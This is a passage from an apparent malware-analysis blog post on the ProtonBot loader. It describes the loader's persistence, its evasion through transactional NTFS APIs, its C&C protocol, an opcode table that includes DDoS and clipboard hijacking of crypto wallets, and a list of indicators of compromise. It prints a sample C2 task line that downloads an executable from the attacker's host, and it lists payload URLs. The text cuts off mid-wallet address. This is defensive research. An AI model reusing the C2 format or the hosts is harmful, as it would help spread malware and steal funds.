:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;pre&gt;/page.php?id=%GUID%&lt;/pre&gt;&#10;%GUID% is, in fact, the Machine GUID, so on a real scenario, this could be in an example this value "fdff340f-c526-4b55-b1d1-60732104b942".&#10;&lt;h3&gt;Summary&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Mutex&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;pre&gt;dsks102d8h911s29&lt;/pre&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Loader Path&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;pre&gt;%APPDATA%/NvidiaAdapter&lt;/pre&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Loader Folder&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-750" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-proton-bot-folder.webp" alt="ProtonBotFolder" width="695" height="151" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Schedule Task&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-751" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-schtasks.webp" alt="Schtasks" width="1369" height="161" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Process&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-752" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-task-process.webp" alt="TaskProcess" width="759" height="135" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;A unique way to perform data interaction&lt;/h2&gt;&#10;This loader has an odd and unorthodox way to manipulate the data access and storage by using the &lt;a href="https://www.win7dll.info/ktmw32_dll.html"&gt;Windows KTM library&lt;/a&gt;. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/index"&gt;FileAPI&lt;/a&gt; module.&#10;&#10;The idea here, it is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the &lt;a href="https://learn.microsoft.com/en-us/windows/win32/fileio/transactional-ntfs-portal"&gt;Transaction NTFS&lt;/a&gt; (TxF).&#10;&#10;For those who aren't familiar with this, there is an example here :&#10;&#10;&lt;img class="alignnone size-full wp-image-773" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-transaction.webp" alt="Transaction" width="898" height="689" loading="lazy" decoding="async" /&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/ktmw32/nf-ktmw32-createtransaction"&gt;CreateTransaction&lt;/a&gt; is called for starting the transaction process&lt;/li&gt;&#10;&#9;&lt;li&gt;The requested task is now called&lt;/li&gt;&#10;&#9;&lt;li&gt;If everything is good, the Transaction is finalized with a commit (&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/ktmw32/nf-ktmw32-committransaction"&gt;CommitTransaction&lt;/a&gt;) and confirming the operation is a success&lt;/li&gt;&#10;&#9;&lt;li&gt;If a single thing failed (even 1 among 10000 tasks), the transaction is rolled back with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/ktmw32/nf-ktmw32-rollbacktransaction"&gt;RollbackTransaction&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;In the end, this is the task list used by ProtonBot are:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-deletefiletransacteda"&gt;DeleteFileTransactedA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-copyfiletransacteda"&gt;CopyFileTransactedA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-setfileattributestransacteda"&gt;SetFileAttributesTransactedA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createdirectorytransacteda"&gt;CreateDirectoryTransactedA&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes &amp;amp; specialized software. It's a matter time now to hotfix and adjusts this behavior for having better results.&#10;&#10;&lt;em&gt;The API used has been also used for another technique with analysis of the banking malware &lt;a href="https://blog.malwarebytes.com/threat-analysis/2018/08/process-doppelganging-meets-process-hollowing_osiris/"&gt;Osiris&lt;/a&gt; by &lt;a href="https://twitter.com/hasherezade"&gt;@hasherezade&lt;/a&gt;&lt;/em&gt;&#10;&lt;h2&gt;Anti-Analysis&lt;/h2&gt;&#10;There are three main things exploited here:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Stack String&lt;/li&gt;&#10;&#9;&lt;li&gt;Xor encryption&lt;/li&gt;&#10;&#9;&lt;li&gt;Xor key adjusted with a NOT operand&lt;/li&gt;&#10;&lt;/ul&gt;&#10;By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat, the same kind of behavior that &lt;a href="https://securelist.com/a-predatory-tale/89779/"&gt;Predator the thief is abusing above v3 version&lt;/a&gt;.&#10;&#10;&lt;img class=" size-full wp-image-754 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-obfuscation.webp" alt="Obfuscation" width="541" height="352" loading="lazy" decoding="async" /&gt;&#10;&#10;The screenshot as above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here, these have been mentioned multiple times and I would say with humor that &lt;a href="https://twitter.com/fumik0_/status/1130931704171061248"&gt;C++ itself is some kind of Anti-Analysis&lt;/a&gt;, that is enough to take some aspirin.&#10;&lt;h2&gt;Loader Architecture&lt;/h2&gt;&#10;The loader is divided into 5 main sections :&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Performing C&amp;amp;C request for adding the Bot or asking a task.&lt;/li&gt;&#10;&#9;&lt;li&gt;Receiving results from C&amp;amp;C&lt;/li&gt;&#10;&#9;&lt;li&gt;Analyzing OpCode and executing to the corresponding task&lt;/li&gt;&#10;&#9;&lt;li&gt;Sending a request to the C&amp;amp;C to indicate that the task has been accomplished&lt;/li&gt;&#10;&#9;&lt;li&gt;Repeat the process [GOTO 1]&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3&gt;C&amp;amp;C requests&lt;/h3&gt;&#10;&lt;h4&gt;Former loader request&lt;/h4&gt;&#10;&lt;em&gt;Path base&lt;/em&gt;&#10;&lt;pre&gt;/page.php&lt;/pre&gt;&#10;&lt;em&gt;Required arguments&lt;/em&gt;&#10;&lt;table class="tablepress tablepress-id-3"&gt;&#10;&lt;thead&gt;&#10;&lt;tr class="row-1 odd"&gt;&#10;&lt;th class="column-1"&gt;Argument&lt;/th&gt;&#10;&lt;th class="column-2"&gt;Meaning&lt;/th&gt;&#10;&lt;th class="column-3"&gt;API Call / Miscellaneous&lt;/th&gt;&#10;&lt;/tr&gt;&#10;&lt;/thead&gt;&#10;&lt;tbody class="row-hover"&gt;&#10;&lt;tr class="row-2 even"&gt;&#10;&lt;td class="column-1"&gt;id&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Bot ID&lt;/td&gt;&#10;&lt;td class="column-3"&gt;RegQueryValueExA - MachineGUID&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-3 odd"&gt;&#10;&lt;td class="column-1"&gt;os&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Operating System&lt;/td&gt;&#10;&lt;td class="column-3"&gt;RegQueryValueExA - ProductName&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-4 even"&gt;&#10;&lt;td class="column-1"&gt;pv&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Account Privilege&lt;/td&gt;&#10;&lt;td class="column-3"&gt;Hardcoded string - "Admin"&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-5 odd"&gt;&#10;&lt;td class="column-1"&gt;a&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Antivirus&lt;/td&gt;&#10;&lt;td class="column-3"&gt;Hardcoded string - "Not Supported"&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-6 even"&gt;&#10;&lt;td class="column-1"&gt;cp&lt;/td&gt;&#10;&lt;td class="column-2"&gt;CPU&lt;/td&gt;&#10;&lt;td class="column-3"&gt;&lt;a href="https://docs.microsoft.com/en-us/cpp/intrinsics/cpuid-cpuidex?view=vs-2019"&gt;Cpuid&lt;/a&gt; (&lt;a href="https://weseetips.wordpress.com/tag/c-get-cpu-name/"&gt;&lt;em&gt;Very similar code&lt;/em&gt;&lt;/a&gt;)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-7 odd"&gt;&#10;&lt;td class="column-1"&gt;gp&lt;/td&gt;&#10;&lt;td class="column-2"&gt;GPU&lt;/td&gt;&#10;&lt;td class="column-3"&gt;EnumDisplayDevicesA&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-8 even"&gt;&#10;&lt;td class="column-1"&gt;ip&lt;/td&gt;&#10;&lt;td class="column-2"&gt;IP&lt;/td&gt;&#10;&lt;td class="column-3"&gt;GetModuleFileName (Yup, it's weird)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-9 odd"&gt;&#10;&lt;td class="column-1"&gt;name&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Username&lt;/td&gt;&#10;&lt;td class="column-3"&gt;RegQueryValueExA - RegisteredOwner&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-10 even"&gt;&#10;&lt;td class="column-1"&gt;ver&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Loader version&lt;/td&gt;&#10;&lt;td class="column-3"&gt;Hardcoded string - "1.0 Release"&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-11 odd"&gt;&#10;&lt;td class="column-1"&gt;lr&lt;/td&gt;&#10;&lt;td class="column-2"&gt;???&lt;/td&gt;&#10;&lt;td class="column-3"&gt;Hardcoded string - "Coming Soon"&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h4&gt;Additional fields when a task is completed&lt;/h4&gt;&#10;&lt;table class="tablepress tablepress-id-3"&gt;&#10;&lt;thead&gt;&#10;&lt;tr class="row-1 odd"&gt;&#10;&lt;th class="column-1"&gt;Argument&lt;/th&gt;&#10;&lt;th class="column-2"&gt;Meaning&lt;/th&gt;&#10;&lt;th class="column-3"&gt;API Call / Miscellaneous&lt;/th&gt;&#10;&lt;/tr&gt;&#10;&lt;/thead&gt;&#10;&lt;tbody class="row-hover"&gt;&#10;&lt;tr class="row-2 even"&gt;&#10;&lt;td class="column-1"&gt;op&lt;/td&gt;&#10;&lt;td class="column-2"&gt;OpCode&lt;/td&gt;&#10;&lt;td class="column-3"&gt;Integer&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-3 odd"&gt;&#10;&lt;td class="column-1"&gt;td&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Task ID&lt;/td&gt;&#10;&lt;td class="column-3"&gt;Integer&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;Task format&lt;/h3&gt;&#10;The task format is really simple and is presented as a simple structure like this.&#10;&lt;pre&gt;Task Name;Task ID;Opcode;Value&lt;/pre&gt;&#10;&lt;h3&gt;Tasks OpCodes&lt;/h3&gt;&#10;When receiving the task, the OpCode is an integer value that permits to reach the specified task. At that time I have count 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them.&#10;&lt;table class="tablepress tablepress-id-1"&gt;&#10;&lt;thead&gt;&#10;&lt;tr class="row-1 odd"&gt;&#10;&lt;th class="column-1"&gt;OpCode&lt;/th&gt;&#10;&lt;th class="column-2"&gt;Feature&lt;/th&gt;&#10;&lt;/tr&gt;&#10;&lt;/thead&gt;&#10;&lt;tbody class="row-hover"&gt;&#10;&lt;tr class="row-2 even"&gt;&#10;&lt;td class="column-1"&gt;1&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Loader&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-3 odd"&gt;&#10;&lt;td class="column-1"&gt;2&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Self-Destruct&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-4 even"&gt;&#10;&lt;td class="column-1"&gt;3&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Self-Renewal&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-5 odd"&gt;&#10;&lt;td class="column-1"&gt;4&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Execute Batch script&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-6 even"&gt;&#10;&lt;td class="column-1"&gt;5&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Execute VB script&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-7 odd"&gt;&#10;&lt;td class="column-1"&gt;6&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Execute HTML code&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-8 even"&gt;&#10;&lt;td class="column-1"&gt;7&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Execute Powershell script&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-9 odd"&gt;&#10;&lt;td class="column-1"&gt;8&lt;/td&gt;&#10;&lt;td class="column-2"&gt;Download &amp;amp; Save new wallpaper&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-10 even"&gt;&#10;&lt;td class="column-1"&gt;9&lt;/td&gt;&#10;&lt;td class="column-2"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-11 odd"&gt;&#10;&lt;td class="column-1"&gt;10&lt;/td&gt;&#10;&lt;td class="column-2"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-12 even"&gt;&#10;&lt;td class="column-1"&gt;11&lt;/td&gt;&#10;&lt;td class="column-2"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr class="row-13 odd"&gt;&#10;&lt;td class="column-1"&gt;12 (Supposed)&lt;/td&gt;&#10;&lt;td class="column-2"&gt;DDoS&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;For those who want to see how the loader part looks like on a disassembler, it's quite pleasant (sarcastic)&#10;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-755" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-loader.webp" alt="Loader" width="589" height="769" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;the joy of C++&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;h2&gt;Loader main task&lt;/h2&gt;&#10;The loader task is set to the OpCode 1. in real scenario this could remain at this one :&#10;&lt;pre&gt;newtask;112;1;http://187.ip-54-36-162.eu/uploads/me0zam1czo.exe&lt;/pre&gt;&#10;This is simplest but accurate to do the task&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Setup the downloaded directory on %TEMP% with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-gettemppatha"&gt;GetTempPathA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Remove footprints from cache &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-deleteurlcacheentrya"&gt;DeleteUrlCacheEntryA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Download the payload - &lt;a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v%3Dvs.85)"&gt;URLDownloadToFileA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Set Attributes to the file by using transactions&#10;&#10;&lt;img class="alignnone size-full wp-image-767" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-loader-transaction.webp" alt="LoaderTransaction" width="940" height="566" loading="lazy" decoding="async" /&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Execute the Payload - &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea"&gt;ShellExecuteA&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h2&gt;Other features&lt;/h2&gt;&#10;&lt;h3&gt;Clipper&lt;/h3&gt;&#10;Clipper fundamentals are always the same and at that point now, I'm mostly interested in how the developer decided to organize this task. On this case, this is simplest but enough to performs accurately some stuff.&#10;&#10;The first main thing to report about it, it that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and needs to perform an HTTP request only once on the C&amp;amp;C for setting-up this :&#10;&lt;pre&gt;/page.php?id=&lt;strong&gt;%GUID%&lt;/strong&gt;&amp;amp;clip=get&lt;/pre&gt;&#10;The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this:&#10;&lt;pre&gt;[&#10; id, &lt;span&gt;&lt;em&gt;&lt;strong&gt;# ID on C&amp;amp;C&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&#10; name, &lt;em&gt;&lt;strong&gt;&lt;span&gt;# ID Name (i.e: Bitcoin)&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&#10; regex, &lt;em&gt;&lt;strong&gt;&lt;span&gt;# Regular Expression for catching the Wallet&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&#10; attackerWallet &lt;span&gt;&lt;em&gt;&lt;strong&gt;# Switching victim wallet with this one&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&#10;]&lt;/pre&gt;&#10;At first, I thought, there is a request to the C&amp;amp;C when the clipper triggered a matched regular expression, but it's not the case here.&#10;&#10;On this case, the attacker has decided to target some wallets:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Bitcoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Dash&lt;/li&gt;&#10;&#9;&lt;li&gt;Litecoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Zcash&lt;/li&gt;&#10;&#9;&lt;li&gt;Ethereum&lt;/li&gt;&#10;&#9;&lt;li&gt;DogeCoin&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;em&gt;if you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in details this (&lt;a href="https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/"&gt;Megumin&lt;/a&gt; &amp;amp; &lt;a href="https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/"&gt;Qulab&lt;/a&gt;).&lt;/em&gt;&#10;&lt;h3&gt;DDos&lt;/h3&gt;&#10;Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-socket"&gt;WinSocks&lt;/a&gt;&#10;&#10;&lt;img class=" size-full wp-image-769 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-ddos.webp" alt="Ddos" width="571" height="447" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Executing scripts&lt;/h3&gt;&#10;The loader is also configured to launch scripts, this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work.&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Deobfuscating the selected format (.bat on this case)&#10;&#10;&lt;img class="alignnone size-full wp-image-768" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-obfuscated-format.webp" alt="Screenshot: Obfuscated format" width="466" height="343" loading="lazy" decoding="async" /&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Download the script on %TEMP%&lt;/li&gt;&#10;&#9;&lt;li&gt;Change type of the downloaded script&lt;/li&gt;&#10;&#9;&lt;li&gt;Execute the script with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea"&gt;ShellExecuteA&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;em&gt;Available formats are .bat, .vbs, .ps1, .html&lt;/em&gt;&#10;&lt;h3&gt;Wallpaper&lt;/h3&gt;&#10;There is a possibility to change the wallpaper of bot, by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Setup the downloaded directory on %TEMP% with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-gettemppatha"&gt;GetTempPathA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Remove footprints from cache &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-deleteurlcacheentrya"&gt;DeleteUrlCacheEntryA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Download the image - &lt;a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v%3Dvs.85)"&gt;URLDownloadToFileA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Change the wallpaper with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-systemparametersinfoa"&gt;SystemParametersInfosA&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;On this case the structure will be like this :&#10;&lt;pre&gt;&lt;span class="hljs-function"&gt;&lt;strong&gt;BOOL &lt;span class="hljs-title"&gt;SystemParametersInfoA &lt;/span&gt;&lt;/strong&gt;&lt;span class="hljs-params"&gt;(&#10; &lt;span&gt;&lt;strong&gt;UINT&lt;/strong&gt;&lt;/span&gt; uiAction -&amp;gt; 0x0014 (&lt;b&gt;SPI_SETDESKWALLPAPER)&lt;/b&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="hljs-function"&gt;&lt;span class="hljs-params"&gt;&lt;span&gt;&lt;strong&gt; UINT&lt;/strong&gt;&lt;/span&gt; uiParam -&amp;gt; 0&#10; &lt;span&gt;&lt;strong&gt;PVOID&lt;/strong&gt;&lt;/span&gt; pvParam -&amp;gt; %ImagePath%&#10; &lt;strong&gt;&lt;span&gt;UINT&lt;/span&gt;&lt;/strong&gt; fWinIni -&amp;gt; 1&#10;)&lt;/span&gt;&lt;/span&gt;;&lt;/pre&gt;&#10;I can't understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thought about it :)&#10;&lt;h2&gt;Example in the wild&lt;/h2&gt;&#10;A few days ago, a ProtonBot C&amp;amp;C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatibilized 5000 bots. It's enough to suggest that it is used by some business already started with this one.&#10;&#10;&lt;img class=" size-full wp-image-771 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-tracker.webp" alt="Tracker" width="1277" height="481" loading="lazy" decoding="async" /&gt;&#10;&#10;Notable malware hosted and/or pushed by this Proton Bot&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/"&gt;Qulab&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;ProtonBot :)&lt;/li&gt;&#10;&#9;&lt;li&gt;CoinMiners&lt;/li&gt;&#10;&#9;&lt;li&gt;C# RATs&lt;/li&gt;&#10;&lt;/ul&gt;&#10;There is also another thing to notice, is that the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain &amp;amp; loader service (Prostoloader). It's common nowadays to see threat actors paying multiple services, to spread their payloads for maximizing profits.&#10;&#10;&lt;img class="alignnone size-full wp-image-772" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-multiple-loaders.webp" alt="MultipleLoaders" width="1265" height="102" loading="lazy" decoding="async" /&gt;&#10;&#10;All of them were accessible on the malware tracker (now retired).&#10;&#10;[*] Yellow means duplicate hashes in the database.&#10;&lt;h2&gt;IoC&lt;/h2&gt;&#10;&lt;h3&gt;&lt;em&gt;Proton Bot&lt;/em&gt;&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/cmdd.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;9af4eaa0142de8951b232b790f6b8a824103ec68de703b3616c3789d70a5616f&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Payloads from Proton Bot C2&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;&#10;&lt;h4&gt;Urls&lt;/h4&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/0et5opyrs1.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/878gzwvyd6.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/8yxt7fd01z.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/9xj0yw51k5.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/lc9rsy6kjj.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/m3gc4bkhag.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/me0zam1czo.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/Project1.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/qisny26ct9.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/r5qixa9mab.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/rov08vxcqg.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/ud1lhw2cof.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/v6z98xkf8w.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/vww6bixc3p.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu/uploads/w1qpe0tkat.exe&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4&gt;Hashes&lt;/h4&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;349c036cbe5b965dd6ec94ab2c31a3572ec031eba5ea9b52de3d229abc8cf0d1&lt;/li&gt;&#10;&#9;&lt;li&gt;42c25d523e4402f7c188222faba134c5eea255e666ecf904559be399a9a9830e&lt;/li&gt;&#10;&#9;&lt;li&gt;5de740006b3f3afc907161930a17c25eb7620df54cff55f8d1ade97f1e4cb8f9&lt;/li&gt;&#10;&#9;&lt;li&gt;6a51154c6b38f5d1d5dd729d0060fa4fe0d37f2999cb3c4830d45d5ac70b4491&lt;/li&gt;&#10;&#9;&lt;li&gt;77a35c9de663771eb2aef97eb8ddc3275fa206b5fd9256acd2ade643d8afabab&lt;/li&gt;&#10;&#9;&lt;li&gt;7d2ccf66e80c45f4a17ef4ac0355f5b40f1d8c2d24cb57a930e3dd5d35bf52b0&lt;/li&gt;&#10;&#9;&lt;li&gt;aeab96a01e02519b5fac0bc3e9e2b1fb3a00314f33518d8c962473938d48c01a&lt;/li&gt;&#10;&#9;&lt;li&gt;ba2b781272f88634ba72262d32ac1b6f953cb14ccc37dc3bfb48dcef76389814&lt;/li&gt;&#10;&#9;&lt;li&gt;bb68cd1d7a71744d95b0bee1b371f959b84fa25d2139493dc15650f46b62336c&lt;/li&gt;&#10;&#9;&lt;li&gt;c2a3d13c9cba5e953ac83c6c3fe6fd74018d395be0311493fdd28f3bab2616d9&lt;/li&gt;&#10;&#9;&lt;li&gt;cbb8e8624c945751736f63fa1118032c47ec4b99a6dd03453db880a0ffd1893f&lt;/li&gt;&#10;&#9;&lt;li&gt;cd5bffc6c2b84329dbf1d20787b920e5adcf766e98cea16f2d87cd45933be856&lt;/li&gt;&#10;&#9;&lt;li&gt;d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf&lt;/li&gt;&#10;&#9;&lt;li&gt;d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf&lt;/li&gt;&#10;&#9;&lt;li&gt;e1d8a09c66496e5b520950a9bd5d3a238c33c2de8089703084fcf4896c4149f0&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Domains&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;187.ip-54-36-162.eu&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;PDB&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;E:\PROTON\Release\build.pdb&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Wallets&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;3HAQSB4X385HTyYeAPe3BZK9y